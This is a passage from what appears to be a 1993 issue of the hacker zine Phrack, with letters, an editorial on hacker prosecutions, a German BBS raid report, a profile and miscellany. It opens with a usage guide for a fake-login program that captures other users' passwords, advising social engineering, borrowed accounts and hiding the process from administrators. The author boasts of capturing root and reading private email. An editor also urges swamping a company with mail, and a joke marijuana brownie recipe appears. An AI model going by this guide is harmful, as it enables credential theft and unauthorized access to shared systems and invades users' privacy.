After it writes the uid and password to the file, it bumps the user back to the real login prompt by killing off the shell that was the parent process of the program. The cut is almost instantaneous; the user would have to be inhumanly observant to notice the transition.

HOW TO USE

Well, first you need an account to run it from. If your site has guest accounts, you've got it made. If not, I'd suggest using a little social engineering to get one other person's account. With that account and the program, you can grab access to many more. I wouldn't recommend running it from an account that has your name on it. That just makes it a little more dangerous than it needs to be. Of course, if the sysadmin happens to catch the program running on your login, you can always claim to know nothing. Say someone else must have gotten your password and is using your account to escape detection. He might buy it. But if you have the source for the program sitting somewhere in your account, and they find it, you're fucked. So it's best to use someone else's account for the job.

After you've gotten the account you'll be running it from, you'll need to get the program in that account somehow. I started off by keeping a copy of the source somewhere it my account, named with something innocuous and hidden among bunches of source files, but I got paranoid and started hauling the source around with me on a bar floppy. Do whatever suits your level of paranoia.

Copy the source to the account you'll be running it from and compile it. Trash the source, and name the program something that won't stand out in a ps list. selection_svc is a nice innocuous name, and it appears everywhere. Do a ps on one of your machines and look for processes that hang around for a long time. You might want to hide it as a daemon. Be creative.

Now run the program and sit back and wait. Or leave and come back later. When you know that someone has tried to log on to your booby trapped machine, log back into the account you borrowed to run the program in and vi or emacs (if you're that kind of person) out the captured userid and password. Simple as that.

Note that the two times that you stand the greatest chance of being caught are when you first compile and run the program and when you retrieve your captured uid and passwords. There's the remote chance that someone might see you at work and see what you're doing, but it's not very likely. If you start acting all paranoid you'll draw more attention to yourself than you would have gotten in the first place. If your site has dialup lines, you might want to do a dialin to retrieve the passwords. Or you might prefer to do it in person. All depends on your paranoia quotient which you think is more secure, I guess.

TIPS

Be careful which dot files you use. I chose the .exrc because it was something that wasn't used often at our site. If you chose the .cshrc or other frequently accessed file, put a # before the uid and password you write to that file. That way, when that dot file is sourced, it'll treat that line as a comment and not spit out an error message that could cause suspicion.

Try to run the program at a time when you know there will be heavy machine usage. That way you'll trap something quick. The longer your program runs, the greater the chance it will be found.

Don't be greedy. Run on only one or two machines at a time. And if you run on more than one machine, run out of a different account on each one. Again, the more you put out there, the better the chance that at least one will be found.

PARTING NOTE

The morning after I wrote this program was the first time I got to use it. I set it running on a guest account, the went to a machine across the room to do some legitimate work. One of my friends walks in shortly after that, and we start shooting the shit. A minute or two later, the sysadmin walks in, sits down, and logs in to the machine I ran the program on. I came really close to dropping my fudge right then and there. The only thing running through my mind was "Either I'm totally fucked, or I have root." Turned out it was choice B. Too bad the guy changed his password once a week, and I wasn't smart enough to fix it so that I would see the change. Oh well, I had fun for a week though. There were quite a few interesting e‑mail messages sent back and forth that week. I think the best one was the one from our (male) department head to one of our radical she‑male hard‑core no‑damn‑gifs feminist female professors, detailing all the perverted sexual acts that he would like to perform with and on her. :)

Anyway, have fun with the program. Maybe I'll get a chance to come up with some more cool UNIX programs in the future.

Later,

K‑Man

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a recent issue of PHRACK you had some article or loopback about getting information about people via modem. I am somewhat interested in this and could use this information. I have a friend who is a part‑time bounty hunter and could use such information to track people down. Could you please send me some information about who to contact to find out this information. What I could REALLY use is an on‑line up‑to‑date phone/address book that I could call to find out anybody's address. Is there such a thing? If you have any information please e‑mail me, since I am unable to get your mag on a regular basis. Thanx a mil!

Scarface

[Editor: Actually there are quite a large number of databases that keep information on everyone. There is TRW, Equifax, TransUnion, Information America and NAI just to name a few. Many of these services are very expensive, but even services like CompuServe allow users to look up people all over America using PhoneFile which compiles data from all kinds of public records. Nexis can allow you to look up real estate data on just about anyone with loans on their houses. Every public utility and department of motor vehicles provides information on their records, and many are online.

A good book to read about this kind of thing is

Privacy For Sale

Jeffrey Rothfeder

Simon & Schuster

$22.00]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE GOLDEN ERA REBORN!

Relive the thrill of the golden era of hacking through our exclusive collection of BBS messages. Our collection contains posts from over 40 of the most popular hack/phreak BBSes of all time. Experience the birth of the computer underground again from your own computer with this collection of original posts from bulletin

boards like:

* 8BBS *

* OSUNY *

* PLOVERNET *

* THE LEGION OF DOOM *

* BLACK ICE PRIVATE *

* THE PHOENIX PROJECT *

And many more...

Messages are available in many computer formats:

IBM

Amiga

Macintosh

For more information, please contact LOD Communications

email: lodcom@mindvox.phantom.com

US Mail: LOD Communications

603 W. 13th St.

Suite 1A‑278

Austin, TX 78701

Voice Mail: 512‑448‑5098

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You might like this one...

‑‑bob

****************************************

I just saw a transcript of a press conference given by

Secret Service Agent Frericks, in Lubbock last December.

here is a brief extraction...

FRERICKS: Um hm. This is a major nation wide, world wide problem from an industry point of view with tremendous losses in funds tremendous losses of money. the VAX account at the University is a way to get into numerous other research accounts or Internet which is the ...you get onto Internet you can talk to anybody else who is on Internet anywhere in the world which these kids were talking to Belgium, and Israel and Australia and they can do that just by this, thus avoiding long distance phone calls. But most of the people on Internet I mean on the VAX are there legitimately for research purposes they can go to Mayo and get a file if they're a med student and they also get one of these pamphlets if they get, like the Department of Engineering gives out an account number just for that semester, the professor would give it out so you can use the VAX well they also get one of those pamphlets that explains what the rules are and the instructor spends a good bit of time the first couple of classes going over computer etiquette, computer rules.

[Editor: Another of America's finest.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I typed this because of the mention of Software Security International in the article "More than $100,000 in Illegal Software Seized" in Rambone's Pirates Cove in Phrack 41.

He mentioned that they were the investigators that finally brought down APL. I am not only familiar with that, a past friend of mine was there when the Marshalls took the board. He was there as representative of SSI.

The best part that Rambone didn't know, was that they couldn't get into APL to verify the existence of the software, until they got the password breaker from Novell. So in essence, they looked like some dumb fools. They didn't have any idea on how to approach the network.

Software Security International Can be reached at... 1‑800‑724‑4197

2020 Pennsylvania Avenue N.W.

Suite 722

Washington, D.C. 20006‑1846

That is of course if they finally have gotten off the ground. Last I Heard (2‑3 months ago) they were still having trouble getting Financial Backing. They did the APL Bust for nothing, just to prove they could do it. They are also on a lot of other BBS's around America. So as a warning to other sysops, Cover your Ass.

You could rack up some serious negative cash flow by sending tons of mail to the box above, then it gets Airborne'd to Washington State.

see ya

[Editor: I think it might be a good idea to send them a few postcards every day for the next few weeks. Just to stay in touch.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 2b of 14

[‑=:< Editorial >:=‑]

Before I jump upwards onto my soapbox and spew forth a meaty editorial I would like to relay something to the readers of Phrack. The following is a transcript of John Lee's (Corrupt's) confession to the charges facing him. (From Security Insider Report, Jan. 1993)

What follows is in my opinion a very poor attempt at a plea‑bargain, and obviously induced by attorney coercion. I must wonder what John was thinking when he agreed to this admission.

========================================

I agreed with others to violate various laws related to the use of computers. I agreed to do the following:

1) I agreed to possess in excess of fifteen passwords which permitted me to gain access to various computer systems including all systems mentioned in the indictment and others. I did not have authorization to access these systems. I knew at the time that what I did was wrong.

2) I used these access devices and in doing so obtained the value of time I spent within these systems as well as the value of the passwords themselves which I acknowledge was more than $1000.

3) I intentionally gained access to what I acknowledge are Federal interest computers and I acknowledge that work had to be done to improve the security of these systems which was necessitated by my unauthorized access.

4) I was able to monitor data exchange between computer systems and by doing so intentionally obtained more passwords, identifications and other data transmitted over Tymnet and other networks.

5) I acknowledge that I and others planned to share passwords and transmitted information across state boundaries by modem or telephone lines and by doing so obtained the monetary value of the use of the systems I would otherwise have had to pay for.

Among the ways I and others agreed to carry out these acts are the following:

1. I was part of a group called MOD.

2. The members of the group exchanged information including passwords so that we could gain access to computer systems which we were not authorized to access.

3. I got passwords by monitoring Tymnet, calling phone company employees and pretending to be computer technicians, and using computer programs to steal passwords.

I participated in installing programs in computer systems that would give the highest level of access to members of MOD who possessed the secret password.

I participated in altering telephone computer systems to obtain free calling services such as conference calling and free billing among others.

Finally, I obtained credit reports, telephone numbers and addresses as well as other information about individual people by gaining access to information and credit reporting services. I acknowledge that on November 5, 1991, I obtained passwords by monitoring Tymnet.

I apologize for my actions and am very sorry for the trouble I have caused to all concerned.

John Lee

========================================

This issue I would like to call attention to what I consider to be a very pressing issue. There has always been a trend to pad the amount of dollar damages incurred to any victim of a hacker attack. I personally feel that the blame is never directed at the true guilty parties.

Certainly, if someone is caught breaking into a system, then they are surely guilty of some form of electronic trespass. I will also concede that such a person may or may not be guilty of other crimes based upon their actions once inside that system. What I have the most problems dealing with is the trend to blame the hacker for any expenditures needed to further secure the system.

With this mindset, why should any corporation bother to add any security at all? Why not just wait until someone happens across

a few poorly secured sites, nab them, and claim damages for the much needed improvements in security?

The worst culprits in this type of behavior has been the RBOCs. As was seen with the supposed damages incurred for the distribution of the "911 document" and most recently with the $370,000 damages supposedly incurred by Southwestern Bell resulting from the alleged activities of those in MOD.

Perhaps this figure does have some basis in reality, or perhaps it is just an arbitrary figure dreamed up by a few accountants to be used at year end to explain some losses in the corporate stock report. Most often figures such as this factor in such ridiculous items as the actual system hardware penetrated. I can hardly see the relevance of such a charge.

Even if these charges are to be believed, why isn't the blame being evenly distributed? Why aren't stockholders crying for the heads of system administrators, MIS managers and CIOs? These are the people who have not adequately done their jobs, are they not? If they had expended a bit of time, and a small amount of capital, the tools exist to make their systems impervious to attack. Period.

If I had an investment in a company such as Southwestern Bell, I would be outraged that the people I was employing to perform data security functions were not apt enough to keep a group of uneducated gangsters out of their switching systems. Why haven't there been any emergency meetings of shareholders? Why isn't anyone demanding any changes in policy? Why is everyone still employed?

Not to blame Southwestern Bell too harshly, they were sorely outclassed by MOD, and had absolutely no way to cope with them. Not only because MOD were competent telco hackers, but because Southwestern Bell's network service provider had given them free reign.

Southwestern Bell's packet switched network, Microlink II, was designed and implemented for SWBT by Tymnet (then owned by McDonnell Douglas). An interesting thing I've heard about SWBNET, and about every other subnet arranged by Tymnet, is that the information concerning gateways, utilities, locations of node code, etc., is purported to be located in various places throughout Tymnet internal systems. One such system, was described to me as a TYMSHARE system that contained data files outlaying every subnet on Tymnet, the mnemonics (username/password pair) to each utility, gateway, and the ONTYME II mail access keys.

If this information is correct, then shouldn't Tymnet be called in to acknowledge their role in the attacks on Southwestern Bell?

Let's say a Realtor sold you a house, but told you that he would be keeping copies of all your keys so that he could help you with the maintenance. Some time later, you notice that a few of your books have been read, but nothing else is disturbed. Later on you notice that your tv is on and your bed is all messed up. A week later your stereo is gone. You set up a trap and catch someone going into your house with your own key! You find that the burglars had made copies of all the keys held by your Realtor. You then find that the Realtor neglected to put the keys in a safe, and in fact had left them lying around on the table in his back yard labeled with the addresses they corresponded to.

Who would you be more upset with? The individual who copied and used the keys, or the Realtor for not providing the access to your valuables more vigilantly? I would personally be far more upset with the Realtor, for if he had put the keys in a safe this event would have probably never transpired.

I'm not saying that people who get caught for breaking into computer systems should be let go, especially if they can be proven to be involved in the sale of hacked information for a personal profit. What I am saying that if hackers are to be punished so vigorously for what I view as a predominantly victimless crime, then everyone should have to line up and take their fair share of the blame.

I think it's high time that the real blame be placed on the corporate entities who seemingly refuse to acknowledge their role in these break‑ins. Neglect of duties and lack of responsibility on the part of the employees, the interconnect carriers, the data network providers, the hardware vendors, etc. all play a key role in the problems that exist in the world's data networks today. In fact, if it were not for computer hackers, these problems would continue to lie dormant until either discovered by accident in the field, or the provider decided to go ahead and illuminate its clients to the existence of such a problem.

I wholeheartedly encourage each and every reader of Phrack to purchase one share of stock in any corporation you know that has exhibited such tendencies and take your place on the floor of the next shareholders meeting and scare the hell out of the board of directors.

Phrack Magazine is calling a discount brokerage very soon.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 2c of 14

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

****************************************

BBS Busts in Germany

==============

Thursday, March 18, 1993.

This day will be remembered as a black day in German BBS history. In fact, it was the blackest day in German BBS history since the raid of 18 Berlin BBS in Berlin and North Germany a couple of months ago.

What has happened? A couple of Bulletin Board Systems (BBS) have been raided by the police. All these BBS had "warez" online, illegal, pirated, copyrighted Software ‑ usually for PC/MSDOS and Amiga. This time, most of these BBS were in Bavaria, South Germany.

Now let's take a closer look at the events:

One guy who got busted was MST, Sysop of Southern Comfort BBS

in Munich. In fact, his board went offline 9 days before.

But he was so unlucky still having his computer and his warez.

He was even using his modem to trade warez at the very moment

the cops rang his doorbell. Why did he go offline just so short before he got busted? His board had been running for over 1 year.

Here is the text file MST released about going offline:

THURSDAY 03‑09‑93 00:15

THE SOUTHERN COMFORT BBS IS CLOSED !

I AM NOT BUSTED OR ANYTHING LIKE THIS !

I CLOSED THE BBS COS OF PERSONAL REASONS AND

PERHAPS IT WILL BE OPENED AGAIN IN 1 OR 2 MONTH !

I HOPE YOU WOULD UNDERSTAND THIS DECISION BUT SCENE

IS NOT ALL WHAT LIFE CAN BE ALL USER ACCOUNTS STAY

ALIVE AND WILL BE HERE AT A NEW??? OPENING !

SO I SAY BYE TO THE SCENE FOR PERHAPS ONLY A SHORT TIME !

MST/RAZOR 1911

A couple of days later, MST was posting ads in local BBS to sell his old equipment. But obviously he wasn't fast enough. Maybe this was one of the reasons the cops busted him on March, 18. They were afraid he might get rid of his illegal software, so they hurried up to catch him!

He got busted at 10am this morning. Three cops were knocking on his door, until he opened. They had a search warrant and confiscated all his computer equipment, disks, modems...

Chris used to have a board until four months ago, and now trades for TDT and other groups. He was in school this morning. His parents weren't home either. So the cops broke into his house, smashed the wooden door, and seized all his equipment. He is asked to speak to the Police this Tuesday.

Chris used to be one of the most active traders for PC warez in Germany. He and his friend Michelangelo supported boards like Schizophrenia and Beverly Hills, which they co‑sysop'ed. They were also known as the 'Beverly Hills Boys', a new German cracking group.

After Chris' bust, a couple of boards were affected:

Beverly Hills went offline. Also the German Headquarters of the Beverly Hills Boys, 'Twilight Zone', went offline. Their sysops estimate at least 1‑3 months offline time.

The other Munich BBS and their sysops were really scared after the bust and took down their systems for an uncertain amount of time.

One of Germany's largest BBS, Darkstar in Augsburg, was a heaven for every warez collector. It had 8 modems hooked up (all US Robotics Dual Standard 16.8) and one ISDN Line.

It had over 2 GB PC warez online, and over 7 GB offline on tapes, which would be put online according to user' requests.

But then, March 18 arrived, and the dream was shattered.

Its sysop, Rider, who was happily calling boards the previous day, had the most shocking experience in his life. The cops came and took his BBS.

And more..

Ego, co‑sysop of a large German BBS, got busted.

Andy/Spreadpoint (ex‑sysop) got busted.

And lots of others...

Unlike the US Secret Service, which delights in seizing all electronic equipment, like stereos, TVs, VCRs, the German cops were just after the computer hardware, especially the hard drives and file servers.

They usually come with three or four people. All of the search warrants they were using were quite old, issued last December.

Who is behind those actions?

First of all the BSA, Business Software Association. They

were also responsible for the recent raids of US Bulletin Boards. In Germany they just announced actions against piracy and

bulletin boards. The most active BSA Members are Microsoft and Lotus Development. Microsoft, Lotus and the BSA are all located in Munich, Germany, home of German's most feared lawyer,

Guenther Freiherr von Gravenreuth. This guy has been fighting

for years against piracy, young kids who copy games, and especially bulletin board systems. He is also affiliated with Ariolasoft, a huge German distributor for game labels like Activision and others.

In the end, all I can say is:

Be aware, don't get caught and don't keep illegal stuff on your board!

(c) 1993 SevenUp for Phrack

****************************************

Carlcory's brownies:

/* Begin cc_brownie.c */

Includes:

#include "4_squares_baking_chocolate"

#include "1_cup_butter"

#include "2_cups_sugar"

#include "4_eggs"

#include "2_cups_flour"

#include "2_tbs_vanilla"

#include "1_third_cup_marijuana" /*comment out if won't compile

on your system*/

#include "1_cup_nuts" /*comment out if won't compile*/

void main(void);

{

heat(oven, 350);

add(butter, chocolate);

while(texture!='smooth') {

stir(mixture);

}

Add(sugar);

add(eggs);

add(vanilla);

add(flour, pot);

add(nuts)

for(timer=0; timer<35; timer++) {

bake(mixture);

}

cool(hour);

}

/*The high takes about an hour to come on,

but lasts for 12 hrs. (4 brownies)

Make sure they cool (don't burn your mouth!)

and share with friends! */

/*End of cc_brownie.c*/

****************************************

GRAY AREAS

Examining the Gray Areas of Life

Gray Areas, Inc.

P.O. Box 808

Broomall, PA 19008‑0808

(215)353‑8238

grayarea@well.sf.ca.us

Gray Areas is published quarterly and printed on recycled paper. They also participate in local recycling efforts involving cans, glass, clothing, newspapers, and more.

A four‑issue subscription costs $18.00 US or $26.00 foreign (payable in US funds). A 12‑issue subscription costs $50.00 ($75.00 foreign). You may purchase a twelve issue subscription and give 4 or 8 or those issues away as gifts to friends (i.e., the same 4 issues you receive would also go to 2 other recipients). Make check or money order out to Gray Areas, Inc.

STATEMENT OF PURPOSE:

Gray Areas exists to examine the gray areas of life. We hope to unite people involved in all sorts of alternative lifestyles and deviant subcultures. We are everywhere! We felt that the government has done a great job of splitting people up so that we do not identify with other minority groups anymore. There are so many causes now that we often do not talk to others not directly involved in our chosen causes. We believe that the methods used to catch criminals are the same regardless of the crime and that much can be learned by studying how crimes in general are prosecuted and how people's morals are judged. It is our mission to educate people so they begin to case more about the world around them. Please join our efforts by subscribing, advertising your business with us, and by spreading the word about what we're up to.

__________________________

Review by Knight Lightning:

I recently received a copy of the premier issue of Gray Areas, dated Fall 1992 and with a cover price of $4.50 (US). I was impressed with both the laser quality of the printing, artwork, and graphics, as well as the topics and content of the articles.

I would not characterize Gray Areas as a hacker magazine, but the subject did come up in an interview with John Perry Barlow (one of the original founders of the Electronic Frontier Foundation) where he discussed the EFF and its role in defending civil liberties.

No, instead I think it is safe to say that Gray Areas pays a lot of attention to the Grateful Dead. Indeed the cover story is titled "Grateful Dead Unauthorized Videos." Additionally, there are several other articles (including the John Barlow interview) that discuss varying aspects about the Dead's history, their politics, and of course their music. An advertisement for the next issue of Gray Areas reveals that even more articles relating to the Grateful Dead are on the way; so if you are a "Dead Head" you will probably fall in love with this magazine!

However, the article that I appreciated most was "Zine Scene," a review of 163 alternative newsletters that included such familiar names as 2600, Hack‑Tic, Full Disclosure, and TAP; and others that I intend to take a look at like Iron Feather's Journal and bOING bOING. The zines reviewed here covered every topic imaginable and I thought it was a great buffet for the mind to have such handy directory (especially since Factsheet Five went defunct about a year ago).

Other interesting articles had to do with video, audio, and software piracy and reviews of music and software. I also enjoyed the great artwork found throughout the magazine in the form of visual aids, comics, and advertisements.

If you are a fan of alternative music or the Grateful Dead, you'll be very sorry if you don't subscribe immediately. If you are interested in alternative publications with more interesting points of view than Time or Newsweek then you owe it to yourself to at least purchase a copy to check it out.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

All letters sent to Gray Areas are presumed to be for publication unless you specifically request that they omit your name or refrain from publishing your comments. If you are writing about something which could incriminate yourself, they will protect your identity as a matter of policy.

****************************************

"Turning your USR Sportster w/ 4.1 roms into a 16.8K HST Dual Standard"

by

The Sausage with The Mallet

If you have a USRobotics Sportster FAX modem, Ver 4.1, you can issue the following commands to it to turn it into an HST 16.8K dual standard. In effect, you add HST 16.8K to its V32.bis 14.4k capability.

ats11=40v1L3x4&h1&r2&b1e1b1&m4&a3&k3

atgw03c6,22gw05cd,2f

ats14=1s24=150s26=1s32=8s34=0x7&w

A very important item is the b1, which tells the modem to use

the 16.8K HST protocol. If you do not set b1, when the Sportster connects with another V32 modem it will go through the CCITT v.32 connect tones and you will not get a 16.8K connect.

If you do get an HST connect, you will not hear the "normal"

train phase‑‑instead you will hear the HST negotiation which sounds like a 2400 baud carrier.

Finally, if you change the "cd" in the second line to a "cb", your modem will think it is a V.32 Courier instead of an HST 16.8K.

Look for other pfine pfiles from Rancid Bacon Productions in conjunction with USDA Grade A Hackers (UGAH.) Accept no substitutes.

****************************************

Request to Post Office on Selling of Personal Information

In May 1992, the US Postal Service testified before the US House of Representatives' Government Operations Subcommittee that National Change of Address (NCOA) information filled out by each postal patron who moves and files that move with the Post Office to have their mail forwarded is sold to direct marketing firms without the person's consent and without informing them of the disclosure. These records are then used to target people who have recently moved and by private detective agencies to trace people, among other uses. There is no way, except by not filling out the NCOA form, to prevent this disclosure.

This letter is to request information on why your personal information was disclosed and what uses are being made of it. Patrons who send in this letter are encouraged to also forward it and any replies to their Congressional Representative and Senators.

Eligible requestors: Anyone who has filed a change of address notice with the Postal Service within the last five years.

Records Officer

US Postal Service

Washington, DC 20260 PRIVACY ACT REQUEST

Dear Sir/Madam:

This is a request under the Privacy Act of 1974 (5 USC 552a). The Act requires the Postal Service, as a government agency, to maintain an accounting of the date, nature, and purpose of each disclosure of information about individuals. I request a copy of the accounting of all disclosures made of address change and mail forwarding information that I provided to the Postal Service. This information is maintained in USPS System of Records 010.010.

On or about (date), I filed a change of address notice requesting that my mail be forwarded from (old address) to (new address). The name that I used on the change of address form was (name).

This request includes the accounting of all disclosures made by the Postal Service, its contractors, and its licensees.

I am making this request because I object to the Postal Service's policy of disclosing this information without giving individuals an option to prevent release of this information. I want to learn how my information has been disclosed and what uses have been made of it. Please let the Postmaster General know that postal patrons want to have a choice in how change of address information is used.

If there is a fee in excess of $5 for this information, please notify me in advance. Thank you for consideration of this request.

Sincerely,

CC: Your Congressional Representative

US House of Representatives

Washington, DC 20510

Your Senators

US Senate

Washington, DC 20515

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Pro-Phile on Lord Digital

=Phrack Magazine=

Volume Four, Issue Forty Two, Phile 3 of 14

==Phrack Pro‑Phile==

________________________________________

Phrack Pro‑Phile was created to provide info to you, the users, about old or highly important/controversial people. This month, we introduce you to an individual who has survived the underground for far too long, the creator of Phantom Access and one of the co‑sysops of Mindvox...

Lord Digital

~~~~~~

________________________________________

Personal

~~~~~~~~

Handle: Lord Digital (for like.... fuck I'm old, 13 years now) Call him: Patrick K. Kroupa

Past handles: M000hahahahahahahah! You're kidding right? Handle origin: It was given to me by this ancient wise man drinking cheap Absolut by the side of the road... Date of Birth: 01/20/68

Age at current date: 24

Height: 6'2"

Weight: 185

Eye color: Green

Hair Color: Blonde/brunette/black (subject to change) Computer: Apple ][+, Amiga 1000, Mac Plus (All in storage) Apple //e, Amiga 500, NeXT, Various Suns (Not in storage)

Sysop/Co‑Sysop of: MindVox ELItE!@#!!!@#!

Net address: digital@phantom.com

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

If you look beneath the shiny surface of most things, and gaze way‑way‑way deep down into the murky black festering heart of the human evolutionary process, you are ultimately confronted with the revelation that has stood, nay, LEAPT UP before the ancients since before the days of Atlantis: Life is a lot like NeW WaReZ.

Anybody who tried to tell you something different, is obviously selling you something.

All things in this universe ‑‑ and many others ‑‑ can be attributed to New WareZ. The ebb and flow of WareZ is what keeps the very COSMOS from bursting apart at the seams. During periods of time when the flow of WareZ slows to a trickle, times are tough, there is war, pestilence, death, disease, and many rAg PhIleZ. d()oDZ who were happily playing Ultima XXII Quest For Cash, are soon busily hurling insults at each other and dialing the Secret Service. Life is grim, there is a bleak sense of desolation and emptiness . . . for when the WareZ slow down . . . there is little left to live for and you begin to enter withdrawal. An ugly process that, thus far, has only been combatted successfully by Wally Hills NeW WhErEZ Treatment center, where they slowly ween you off the addiction of WareZ and introduce you to the REAL WORLD where you can do things like smoke crack and play in a band.

On the flipside, when there is a good steady flow of WaReZ, the universe hums to itself in happiness and all wrongs are righted, perspectives re‑adjusted, and peace, love, and happiness spread throughout the land as the COSMOS re‑aligns itself and perfection sweeps the world. This is a heady time, but one that is sure to be brief, for before you know it some evil glimmer of BADNESS will rise up and somebody will DOUBLE‑RELEASE someone else, or a Ware will CRASH when it tries to load . . . and then it's just all over.

A long time ago in a galaxy far, far away . . . I was a founding member of the Knights Of MysterIous keYboArdZ and the Ko0l/Ra{> alliance. At present I am President/Ce0 and Chairman of the b0red at Phantom Access Technologies/Coleco ADAM design Studios, Inc.

At the moment our group is working on a multi‑tasking, multi‑user, CyberSpace environment where the participants can take part in a shared reality that is based upon a cross‑relational structure comprised of lots of 0's and 1's all strung together in big twisty chains and kept track of by an Objective‑COBOL X/Motif GUI sitting on an SQL dialed into the POWER COMPUTER in Utah, at infinite baud (not to be confused with bps).

In the near future I .plan to move to Pigs Knuckle Idaho and cross‑breed weasels with ferrets, while devoting the rest of my life to watching daytime TV.

It's just that type of thing.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Reality Break

~~~~~~~~~~~~~

It is very difficult, bordering on impossible, for me to remain serious for longer than about 45 seconds, when discussing the "underground" and what it was all about.

I rarely bother to mediate or water‑down most of my opinions, and there are a lotta places out there in the real world, where anyone who cares can readily access whatever I have to say. There isn't a great deal left for me to convey to anybody regarding my perceptions of the hack/phreak world's history and what it has meant, and shall mean, in the cosmic scheme of things.

The first time I came into direct contact with computers was during the mid‑late 70's. I was around 6 or 7 and my father worked at NCAR during this period of time, which is a futuristic looking series of buildings in Boulder Colorado. This one time I came in, there were all these weird cars driving around in the parking lot, and since there were frequently a lotta strange things moving around there, I never understood until much later that Woody Allen was filming SLEEPER when this was going on. On the same day, I was shown some of the computer rooms, which had just taken shipment on one of the first Crays to go out the door. This left an impression. It was neato . . .

One thing led to another. I played around with various things, mainly the really old Commodore PET systems and a slew of heavy metal junk from IBM, until I got an Apple ][+ in 1978. I hung out with a group of people who were also starting to get into computers, most of them comprising the main attendees of the soon‑to‑be‑defunct TAP meetings in NYC, a pretty eclectic collection of dudes who have long since gone their separate ways to meet with whatever destinies life had in store for them. Around 1980 there was an Apple Fest that we went to, and found even more people with Apples and, from this, formed the Apple Mafia, which was, in our minds, really cool sounding and actually became the first WAreZ gRoUP to exist for the Apple ][.

Time passed, I picked up more hardware, went on the quest to assemble the perfect Apple‑Cat system ‑‑ consisting of the Cat, 212 card, BSR, firmware, tone decoder chip, and all the m0dZ NOVATION eventually made to the boardZ ‑and ultimately ended up with 3 of 'em, one of which still works (like wow). This led to the first generation of Phantom Access programs which started to seep into the moDeM WeRlD around 1983, with the final revisions being let loose in 1987 or 1988, under the auspices of Dead Lord. By this time I had long since stopped working on them and had relatively little to do with their forms of release.

Over the years I've been in a seemingly‑endless succession of groups and gatherings under nearly 50 different pseudonyms which were frequently invented and dropped, all around that one specific timeslice and reference‑point. There were only two that I was ever "serious" about, which is to say I entered into them honestly believing the ideals and reasons for the group's inception, to be valid and worth upholding and being a part of. In other words I was in my mid‑teens and my attitude wasn't one of "Yeah yeah, take 10; a buncha dudes are gonna screw around, some of it will be fun, some of it will be silly, and a lot of it will be bitchy and cranky, but hey, I'm only here to amuse myself, so what the fuck . . ." The two "serious" affiliations were Apple Mafia and the Knights of Shadow. KOS ceased to exist in mid‑1984 and I dropped out of the AM around 1985, although to my knowledge it kept going until '86 or '87 when the last surviving members found better things to do with their time. In 1987 I was also "OfFphICiALlLY" inducted into the Fraternal Order of the Legion of Doom, which was just gosh w0wz0. Actually, it's much more fun in retrospect, since most of us are pretty good friends at this point in time, which seemed an unlikely event back in the early 80's <giGgLE!!@#>

I ceased to be "active" sometime around 1985, having gained legal access to almost anything I could possibly want to play with, as well as having made friends with people working for NYNEX who de‑mystified many things for me. The ultimate conclusion to all of this was that having THE POWER is cool ‑‑ and using it to annoy people was absolutely hilarious ‑‑ but only led to two possible destinations.

You use it all as a learning experience and "grow up" realizing that you're playing cops and robbers, and many of the things you have spent years doing are now illegal and liable to get you into a lot of trouble. You can't go back in time (at least not yet).

You could keep doing stupid things and end up in a legal dilemma over something that isn't very important. Because . . . it really isn't "THE POWER," it's just a very limited form of "it" embodied by a phone system and some computers. And when you compare that to a piece of art, or a collection of music, or a new series of programs that someone has created, you begin to realize that all you're doing is fucking with things that other people made, and you're wasting your time abusing . . .

To cut short my rant, I have no moral judgements to pass upon anyone or anything, because whatever it is that people do, it's some sort of learning process leading towards their destination (whether they realize it or not). The computer underground is just not a place where you can remain "active" beyond a certain period of time that serves as a sort of "rite of passage" towards that something else. To hang around indefinitely and remain "active" is to become a criminal.

Almost everything I've done has taken place with a handful of friends who played various roles in events that transpired ‑‑ primary among them Dead Lord (Bruce Fancher), one of my closest friends for the better part of a decade, as well as The Unspeakable One whose name cannot be mentioned for to do so causes rifts within space/time, and a buncha dudes from NYC/NJ who for the most part want to blip their personas off the face of Cyberspace and get on with their lives without the specter of LaW EnForCEmEnT hanging over them for doing silly things as teenagers.

In 1986 I ceased calling anything and didn't access a computer that was hooked into a modem until late 1990. As of late 1992, I have been "retired" for a little over 7 years.

Patrick's Favorite Things

~~~~~~~~~~~~~~~~~~~~~~~~~

Women: Delia! Gorgeous, Intelligent, Wonderful, & able to deal with me. Men: Bwooooce.

Cars: 928s4, Hyundai, Edsel.

Foods: Italian, red meat, SuPeR Hi PER Pr0tE!n, anything with SPAM. Music: Any band with the word "LORD" in it (Lords of the New Church, House of Lords, Lords of Acid, Lords of Chaos, Traci Lords). Authors: Michael Moorcock, Sun Tzu, Machiavelli, Hans Horbiger, Dr. Seuss. Books: Play of Consciousness, The Book of PAT.

Performers: Bill the Cat, Sting, Perry Farrell, GuNz N RoSeZ, plus anybody who has sold out to the mahnnnnnn fo' $$$$$$$ in a biiiiiig way.

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

